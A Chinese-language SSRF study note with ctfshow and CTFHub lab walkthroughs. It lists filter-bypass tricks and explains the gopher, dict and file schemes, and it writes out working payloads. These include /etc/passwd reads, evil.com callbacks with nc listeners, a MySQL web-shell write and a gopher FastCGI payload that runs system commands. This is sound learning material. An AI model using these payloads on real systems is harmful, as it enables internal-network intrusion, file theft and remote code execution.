ssrf学习

SSRF(Server Side Request Forgery服务端请求伪造),是一种由攻击者构造但是由服务端发起请求的一个安全漏洞。SSRF的攻击目标一般是从外网无法访问的内部服务器。

SSRF漏洞的原理

  1. SSRF漏洞原理

    (1)攻击者可以通过公网访问到某个web服务器;

    (2)但是攻击者是无法通过公网访问到内网的其他设备或者办公区域;

    (3)这时候如果想进行内网探测,web服务器同时存在SSRF漏洞,就能以web服务器作为跳板,进而攻击其他服务器或区域

    image-20240319200904939

  2. SSRF利用的条件:

    (1)web服务器存在SSRF漏洞;

    (2)web服务器有访问本地或远程服务器的权限;

  3. SSRF存在的位置:一般是web服务器提供了从其他服务器获取数据的功能。

    (1) 分享功能:通过URL地址分享文章等,例如如下地址:

    1
    http://share.xxx.com/index.php?url=http://www.xxx.com

    通过url参数的获取来实现点击链接的时候跳到指定的分享文章。如果在此功能中没有对目标地址的范围做过滤与限制则就存在着SSRF漏洞。

    (2)图片加载/下载:通过URL地址加载或下载图片:

    1
    http://image.xxx.com/image.php?image=http://www.xxx.com

    图片加载存在于很多的编辑器中,编辑器上传图片处加载设定好的远程服务器上的图片地址,如果没对加载的参数做限制可能造成SSRF。

    (3)图片/文章收藏功能:

    1
    http://title.xxx.com/title?title=http://title.xxx.com/xxx

    例如 title参数是文章的标题地址,代表了一个文章的地址链接,如果收藏功能采用了此种形式保存文章,则在没有限制参数的形式下可能存在SSRF。

    (4)转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览。

    (5)在线翻译:给网址翻译对应网页的内容。

    (6)邮件系统:比如接收邮件服务器地址。

    (7)利用参数中的关键字查找:

    关键字:

    1
    share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain...

    总的来说,需要从远程服务器请求资源的网站都有可能存在SSRF漏洞

  4. SSRF的挖掘,看URL是否有关键字“XX=

    1
    Share、wap、url、link、src、source、target、u、3g、display、 sourceURL、imageURL、domain

    5.漏洞验证:

    因为SSRF漏洞是构造服务器发送请求的安全漏洞,所以我们可以通过抓包分析发送的请求是否是由服务器端发送的来判断是否存在SSRF漏洞。

    在页面源码中查找访问的资源地址,如果该资源地址类型为http://www.xxx.com/a.php?image=地址就可能存在SSRF漏洞。

回环地址

127.0.0.0/8 网络范围: 127.0.0.1 是环回地址(loopback address),用于本地机器的网络测试和通信。实际上,整个 127.0.0.0/8 的 IP 范围(即从 127.0.0.0 到 127.255.255.255)都被保留用于环回功能。这意味着,所有 127.x.x.x 的地址都指向本地机器。

默认网关的简化: 在 IP 地址表示中,省略末尾的零并保留最后的部分是一种简化形式。例如,127.1 实际上是 127.0.0.1 的简写,系统会自动补全缺失的部分。因此,127.1 等同于 127.0.0.1。

内部路由机制: 当系统处理 127.x.x.x 地址时,它知道这些地址是保留给本地回环使用的,而不需要通过任何外部网络路由。因此,127.1 和 127.0.0.1 都会被识别为指向本地机器的地址。

绕过方法

部分存在漏洞,或者可能产生SSRF的功能中做了白名单或者黑名单的处理,来达到阻止对内网服务和资源的攻击和访问。因此想要达到SSRF的攻击,需要对请求的参数地址做相关的绕过处理,常见的绕过方式如下:

1、绕过限制为某种域名:

(1)利用@,当网站限制只能访问 http://www.xxx.com类型的域名时,可以采用http基本身份认证的方式绕过,如:http://www.xxx.com@www.xxc.com

在对@解析域名中,不同的处理函数存在处理差异,例如:

1
http://www.aaa.com@www.bbb.com@www.ccc.com

在PHP的parse_url中会识别 www.ccc.com,而libcurl则识别为 www.bbb.com

2、绕过限制请求IP不为内网地址:

(1)采用短网址绕过:比如百度短地址https://dwz.cn/

(2)利用特殊域名,xip.io可以指向任意域名(原理是DNS解析),即 127.0.0.1.xip.io,可以解析为127.0.0.1

(3)采用进制转换,127.0.0.1 八进制:0177.0.0.1;十六进制:0x7f.0.0.1;十进制:2130706433

(4)利用[::],可以利用[::]来绕过localhost,比如:http://[::]:80/ 会解析为 http://127.0.0.1

(5)添加端口号,http://127.0.0.1:8080

(6)利用句号,127。0。0。1 会解析为 127.0.0.1

(7)采用跳转:常用的跳转有302跳转和307跳转,区别在于307跳转会转发POST请求中的数据等,但是302跳转不会

(8)CRLF 编码绕过

%0d->0x0d->\r回车
%0a->0x0a->\n换行
进行HTTP头部注入

1
example.com/?url=http://eval.com%0d%0aHOST:fuzz.com%0d%0a 

(9)利用封闭的字母数字

1
2
3
4
5
6
7
8
9
10
11
12
利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
http://169.254.169.254>>>http://[::①⑥⑨。②⑤④。⑯⑨。②⑤④]
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

3、限制请求只为http协议:

(1)采用跳转:常用的跳转有302跳转和307跳转,区别在于307跳转会转发POST请求中的数据等,但是302跳转不会

(2)采用短地址

DNS Rebinding

一个常用的防护思路是:对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就禁止该次请求。

但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,可以进行DNS重绑定攻击。

要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:

  • 服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
  • 对于获得的IP进行判断,发现为非黑名单IP,则通过验证
  • 服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
  • 由于已经绕过验证,所以服务器端返回访问内网资源的结果。

利用IPv6

有些服务没有考虑IPv6的情况,但是内网又支持IPv6,则可以使用IPv6的本地IP如 [::] 0000::1 或IPv6的内网域名来绕过过滤,与IPv4的回环地址 127.0.0.1 类似

1
curl http://[::1]/

漏洞利用

产生漏洞的函数:

根据后台使用的函数的不同,相应的影响和利用方法也不一样,PHP中下面函数的使用不当会导致SSRF:

1
2
3
file_get_contents()
fsockopen()
curl_exec()

file_get_contents()

这个函数的作用是将整个文件读入一个字符串中,并且此函数是用于把文件的内容读入到一个字符串中的首选方法。

比如:下面的代码使用file_get_contents函数从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上,并展示给用户。

1
2
3
4
5
6
7
8
9
10
11
<?php
if (isset($_POST['url']))
{
$content = file_get_contents($_POST['url']);
$filename ='./images/'.rand().';img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\"".$filename."\"/>";
}
echo $img;
?>

sockopen()

使用fsockopen函数实现获取用户制定url的数据(文件或者html)

以下代码使用fsockopen函数实现获取用户制定url的数据(文件或者html)。这个函数会使用socket跟服务器建立tcp连接,传输原始数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php 
function GetFile($host,$port,$link)
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>

curl_exec()

该函数可以执行给定的curl会话

cURL这是另一个非常常见的实现,它通过 PHP获取数据。文件/数据被下载并存储在“curled”文件夹下的磁盘中,并附加了一个随机数和“.txt”文件扩展名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
if (isset($_POST['url']))
{
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);

$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>

注意事项

注意事项

1
2
3
4
5
6
一般情况下PHP不会开启fopen的gopher wrapper
file_get_contents的gopher协议不能URL编码
file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
curl_exec() 默认不跟踪跳转,
file_get_contents() file_get_contents支持php://input协议

url伪协议

ctfhub伪协议读取文件(file://)

这种URL Schema可以尝试从文件系统中获取文件:

1
2
http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

如果该服务器阻止对外部站点发送HTTP请求,或启用了白名单防护机制,只需使用如下所示的URL Schema就可以绕过这些限制:

ctfhub-端口扫描(dict://)

dict 协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,能用来探测端口的指纹信息
协议格式:dict://<host>:<port>/<dict-path>
一般用dict://<host>:<port>/info 探测端口应用信息

举个栗子:

1
2
dict://127.0.0.1:6379 //探测redis是否存活
dict://127.0.0.1:6379/info //探测端口应用信息

利用bp中的爆破模块进行端口爆破

image-20240323203842861

得到长度明显与其他不一样的端口号,访问,得到flag

image-20240323203933290

sftp://

在这里,Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。

1
2
3
4
Copyhttp://example.com/ssrf.php?url=sftp://evil.com:1337/ 
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2

ldap://或ldaps:// 或ldapi://

LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。

1
Copyhttp://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit

tftp://

TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。

1
2
3
Copyhttp://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET 
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3

Gopher协议

初步使用

Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;

gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议

对于使用Gopher协议的条件:
image-20240523202519481

Gopher协议格式

1
URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
  • gopher的默认端口是70
  • 如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码

Gopher发送请求HTTP GET请求:

(可以在xshell里面开两个会话)

使用Gopher协议发送一个请求,环境为:nc起一个监听,curl发送gopher请求

nc启动监听,监听2333端口:nc -lp 2333

使用curl发送http请求,命令为

1
curl gopher://192.168.0.119:2333/abcd

此时nc收到的消息为:bcd

如果想要接收到所有的消息,需要在使用gopher协议时在url后加入一个字符(该字符可随意写)

Gopher发送请求HTTP GET请求:

需要以下三步:

1、构造HTTP数据包
2、URL编码、替换回车换行为%0d%0a
3、发送gopher协议

我准备了一个PHP的代码,如下:

1
2
3
<?php
echo "Hello ".$_GET["name"]."\n"
?>

一个GET型的HTTP包,如下:

1
2
GET /ssrf/base/get.php?name=Margin HTTP/1.1
Host: 1.0.0.1

URL编码后为:

1
curl gopher://1.0.0.1:80/_GET%20/ssrf/base/get.php%3fname=Margin%20HTTP/1.1%0d%0AHost:%201.0.0.1%0d%0A

在转换为URL编码时候有这么几个坑

1、问号(?)需要转码为URL编码,也就是%3f
2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
3、在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)

Gopher发送请求HTTP POST请求:

以下四个参数为post传参时所必须的参数:

1
2
3
4
5
6
POST /ssrf/base/post.php HTTP/1.1
host:192.168.0.109
Content-Type:application/x-www-form-urlencoded
Content-Length:11

name=Margin

post.php的代码为

1
2
3
<?php
echo "Hello ".$_POST["name"]."\n"
?>

使用curl发起gopher的POST请求并进行url编码:

1
curl gopher://0.0.0.1:80/_POST%20/ssrf/base/post.php%20HTTP/1.1%0d%0AHost:0.0.0.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:11%0d%0A%0d%0Aname=Margin%0d%0A

发送成功

使用Gopher协议url编码次数

传参经过多少次跳转就需要经过多少次url编码。

直接curl后接gopher://就编码一次。

利用?url=gopher://就编码两次。

还经过302跳转,就编码三次。

ctfshow实战

web-351

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

对上述代码的解析如下:

  1. 禁止显示 PHP 错误报告,使用 error_reporting(0)
  2. 使用 highlight_file(__FILE__) 显示当前 PHP 文件的源代码;
  3. 获取通过 POST 请求传递的 URL,存储在 $url 变量中;
  4. 使用 curl_init() 初始化一个 cURL 会话;
  5. 使用 curl_setopt() 函数设置 cURL 选项,包括关闭 HTTP 头信息的输出(CURLOPT_HEADER)以及将返回的数据以字符串形式返回(CURLOPT_RETURNTRANSFER);
  6. 使用 curl_exec() 函数执行 cURL 会话,获取 URL 对应页面的内容,并将结果存储在 $result 变量中;
  7. 使用 curl_close() 函数关闭 cURL 会话;
  8. 最后,使用 echo 输出获取到的页面内容

尝试一下能不能访问内网:url=127.0.0.1,页面又回显了一遍上述代码,说明可以

盲猜一波flag.php在当前目录下:url=127.0.0.1/flag.php回显出flag,也可以url=localhost/flag.php

web-352&353

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

可以对127.0.0.1进行编码绕过,具体进上面文章中的绕过方法(句号的方法行不通)

url=http://2130706433/flag.php:得到flag

在Linux环境中,0代表自身地址,也可以url=http://0/flag.php

web-354(sudo.cc)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?

sudo.cc相当于127.0.0.1

url=http://sudo.cc/flag.php:得到flag

web-355&356

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

strlen($host)<=5:要求输入的主机名长度小于等于5

这里我们可以采用0来绕过:url=http://0/flag.php

web-356:主机名长度要求小于等于3

web-357

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?>

if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { die('ip!'); }:验证IP地址是否有效,并且不是私有IP地址或保留IP地址,验证失败的话就会输出ip并停止运行

这说明了地址不能是127.0.0.1,所以我们可以采用302跳转的方式来进入内网

在服务器上面开一个端口,并且其php文件如下:

1
2
<?php 
header("Location:http://127.0.0.1/flag.php");

然后在get传参为:?url=http://555.555.555.555:555,得到flag,题目解决

web-358

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}

parse_url解析问题,参考文章:parse_url小结

根据参考文章和本片文章前面提到过的绕过方法,最后的payload为:http://ctf.@127.0.0.1/flag.php#show

其实将#改为?也是可以的

web-359

这题是要打无密码保护的mysql

首先我们开启proxy,登录一下,在bp的代理模块的HTTP历史记录中找到/check.php,内容如下:

image-20240603204729966

可以发现Post传参中有returl,参数是网址,我们可以使用gopher协议来操作

所以我们可以采用工具gopherus(在下文的CTFHub中我有提供下载的链接)

我们输入命令:python2 gopherus.py --exploit mysql,剩下的如下:image-20240603203531295
select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/aa.php';:这条命令是使用数据库的功能创建一个php文件,文件位置在/var/www/html/aa.php

得到的payload再拿去编码一次后拿去使用,然后再用蚁剑包含该文件便可以了

得到flag,题目解决

web-360

这题题目叫打redis

1
2
3
4
5
6
7
8
9
10
11
 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

于是我们跟上题一样,用gopherus工具来打

步骤跟下面ctfhub里面的Redis协议的操作步骤一模一样,这里就不多说了

CTFHub

POST请求

在题目环境中访问:?url=127.0.0.1/flag.php,看到页面弹出一个输入框,查看源码如下:

1
2
3
4
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=7cc8e7f97ec84ca8f88fed4a62df26d1-->
</form>

将该值填入输入框,得到回显为:Just View From 127.0.0.1

然后访问:?url=file:///var/www/html/index.php,得到如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
// 关闭所有错误报告
error_reporting(0);
// 检查请求中是否包含 'url' 参数
if (!isset($_REQUEST['url'])){
// 如果没有 'url' 参数,重定向到自身并附加一个默认的 'url' 参数
header("Location: /?url=_");
exit; // 终止脚本执行
}
// 初始化一个cURL会话
$ch = curl_init();
// 设置cURL选项
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']); // 设置要请求的URL为用户提供的 'url' 参数值
curl_setopt($ch, CURLOPT_HEADER, 0); // 不包含头部信息在输出中
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // 允许cURL处理重定向
// 执行cURL会话
curl_exec($ch);
// 关闭cURL会话并释放资源
curl_close($ch);

访问:?url=file:///var/www/html/flag.php,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
// 关闭所有错误报告
error_reporting(0);
// 检查访问者的IP地址是否为127.0.0.1
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
// 获取环境变量 "CTFHUB" 的值
$flag = getenv("CTFHUB");
// 生成flag的MD5哈希值
$key = md5($flag);
// 检查POST请求中是否包含正确的key
if (isset($_POST["key"]) && $_POST["key"] == $key) {
// 如果POST请求中的key正确,输出flag
echo $flag;
exit;
}
?>
<!-- HTML表单,提交到当前脚本 -->
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

由于 $_SERVER["REMOTE_ADDR"] != "127.0.0.1"这个无法绕过,所以无法利用flag.php,所以只能尝试通过index.php向目标发送post请求

尝试使用 Gopher 协议向服务器发送 POST 包
首先构造 Gopher协议所需的 POST请求:

1
2
3
4
5
6
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

key=7cc8e7f97ec84ca8f88fed4a62df26d1

根据上面的知识我们知道我们需要编码两次,第一次编码如下:

1
POST%20/flag.php%20HTTP/1.1%0AHost%3A%20127.0.0.1%3A80%0AContent-Length%3A%2036%0AContent-Type%3A%20application/x-www-form-urlencoded%0A%0Akey=7cc8e7f97ec84ca8f88fed4a62df26d1

在第一次编码后的数据中,将%0A全部替换为%0D%0A,如下:

1
POST%20/flag.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1:80%0AContent-Length:%2036%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Akey=7cc8e7f97ec84ca8f88fed4a62df26d1

将其进行第二次编码,如下:

1
POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1%253A80%250AContent-Length:%252036%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey=7cc8e7f97ec84ca8f88fed4a62df26d1

所以我们可以构造payload如下:

1
view-source:http://challenge-6e02fe4cf49383ad.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Length:%252036%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey=7cc8e7f97ec84ca8f88fed4a62df26d1

上传文件

我们尝试访问 ?/url=127.0.0.1/flag.php

发现上传页面并没有提交按钮

我们可以通过查看源码,并在from表单中写入 submit ,如下图:

<input type="submit" name="submit">
我们随便上传一个文件,页面提示:Just View From 127.0.0.1

让我们拦截一下上传请求,然后将改为我们所需要的(不是必要的可以删去),如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 288
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylc7CixnmWBKYEk99

------WebKitFormBoundarylc7CixnmWBKYEk99
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain

Mancity
------WebKitFormBoundarylc7CixnmWBKYEk99
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundarylc7CixnmWBKYEk99--

按照上面的步骤进行编码,最后payload如下:

1
?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520288%250D%250AContent-Type%253A%2520multipart%252Fform-data%253B%2520boundary%253D----WebKitFormBoundarylc7CixnmWBKYEk99%250D%250A%250D%250A------WebKitFormBoundarylc7CixnmWBKYEk99%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522test.txt%2522%250D%250AContent-Type%253A%2520text%252Fplain%250D%250A%250D%250AMancity%250D%250A------WebKitFormBoundarylc7CixnmWBKYEk99%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundarylc7CixnmWBKYEk99--

发送,得到Flag

URL Bypass

题目要求:请求的URL中必须包含http://notfound.ctfhub.com

所以我们可以利用http基本身份认证来进行绕过

payload为:?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

得到flag,题目解决

数字IP Bypass

如果说你直接输入:?url=127.0.0.1,那么题目会回显hacker! Ban '/127|172|@/'

这说明我们输入的内容里面不能有127,172,@

那么我们可以进制转换一下,比如把其转换为十进制:?url=2130706433/flag.php

得到flag,题目解决

302跳转 Bypass

首先用file协议查看一下源码:?url=file://var/www/html/index.php,得到如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
error_reporting(0);

if (!isset($_REQUEST['url'])) {
header("Location: /?url=_");
exit;
}

$url = $_REQUEST['url'];

if (preg_match("/127|172|10|192/", $url)) {
exit("hacker! Ban Intranet IP");
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

第一种

可以看到正则表达式ban掉的数字,惊奇地发现没有ban掉localhost,所以我们可以尝试一下:?url=http://localhost/flag.php

得到flag,题目解决

第二种

进制转化,把127.0.0.1转化成其他进制的,也可以成功

第三种

当然这题的标准做法是要利用302跳转

让我们在服务器上面写一个php重定向文件,如下:

1
2
<?php 
header("Location:http://127.0.0.1/flag.php");

把它放到公网上,然后用url访问就可以啦

DNS重绑定 Bypass

访问:?url=file:///var/www/html/index.php,得到如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);

if (!isset($_REQUEST['url'])) {
header("Location: /?url=_");
exit;
}
$url = $_REQUEST['url'];
if (preg_match("/127|172|10|192/", $url)) {
exit("hacker! Ban Intranet IP");
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);

但是按照上题的思路来做的话根本过不去

按照题目,这题就采用DNS重绑定来进行绕过吧

贴个文章可以去看看:浅谈DNS重绑定漏洞,当然上面我也有简单讲讲

利用文章提供的网址来进行利用:https://lock.cmpxchg8b.com/rebinder.html?tdsourcetag=s_pctim_aiomsg

image-20240526203058696

自己输入所需的网址,构造payload为:?url=7f000001.c0a80001.rbndr.us/flag.php

得到flag,题目解决

FastCGI协议

必看原理 -> 附件文章在这里

关于FastCGI协议附件文章讲的很明白了

关于这个协议我们主要就是要利用一个 PHP-FPM未授权访问漏洞,PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造fastcgi协议,和fpm进行通信。

接下来用到的EXP,就是根据之前介绍的fastcgi协议来编写的,代码如下:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75 。兼容Python2和Python3,方便在内网用

我们这里使用Gopherus脚本(GitHub下载)构造payload,该脚本只能在python2.7下运行

然后可以将解压完后的文件夹挪到虚拟机里面,执行:apt install python2,安装python2

然后执行命令:python2 gopherus.py --exploit fastcgi,页面选择index.php,命令选择ls

把获得的pyload拿去再编码一次就可以

然后再来一遍,这次命令选择cat /f*,得到pyload,拿去再编码一次,如下:

1
gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520%2Ff%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%25